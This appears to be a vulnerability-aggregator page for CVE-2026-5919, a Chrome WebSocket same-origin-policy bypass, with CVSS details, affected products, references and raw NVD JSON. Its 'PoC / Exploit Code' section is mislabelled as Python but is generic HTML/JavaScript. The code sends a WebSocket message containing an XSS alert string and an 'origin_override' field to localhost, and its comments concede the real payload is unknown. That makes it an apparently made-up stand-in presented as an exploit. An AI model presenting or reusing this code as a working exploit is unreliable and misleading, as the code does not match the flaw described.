CVE-2026-5919

Description

Insufficient validation of untrusted input in WebSockets in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-5919: Chrome WebSocket Insufficient Validation
  Description: This script demonstrates a potential scenario where crafted WebSocket input
  might trigger the SOP bypass. Note: Exploitation requires a prior renderer process compromise.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5919 PoC</title>
</head>
<body>
    <h1>WebSocket SOP Bypass Test</h1>
    <script>
        // Attempt to establish a WebSocket connection with crafted payload
        // The specific payload structure depends on the internal validation logic of Chrome < 147.0.7727.55
        
        try {
            const targetUrl = "ws://localhost:8080"; // Replace with actual target if testing in lab
            
            console.log("[+] Initiating WebSocket connection...");
            
            // Create a WebSocket object
            const socket = new WebSocket(targetUrl);

            socket.onopen = function(e) {
                console.log("[+] Connection established");
                
                // Crafted input designed to bypass validation
                // In a real exploit, this payload would be specifically formatted to confuse the origin check
                const maliciousPayload = {
                    type: "bypass",
                    data: "<script>alert('SOP Bypassed');</script>", 
                    origin_override: "https://trusted-site.com"
                };

                socket.send(JSON.stringify(maliciousPayload));
                console.log("[+] Payload sent: " + JSON.stringify(maliciousPayload));
            };

            socket.onmessage = function(event) {
                console.log("[+] Response received: " + event.data);
                // Check if data from another origin is leaked
                document.getElementById("output").innerText = event.data;
            };

            socket.onerror = function(error) {
                console.log("[-] WebSocket Error: " + error);
            };

        } catch (err) {
            console.log("[-] Exception: " + err);
        }
    </script>
    <div id="output">Waiting for response...</div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5919
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5919
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5919/
[4] VulDB https://vuldb.com/cve/CVE-2026-5919
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/483423893

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5919", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:31.667", "lastModified": "2026-04-29T16:16:28.083", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in WebSockets in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/483423893", "source": "[email protected]", "tags": ["Permissions Required"]}]}}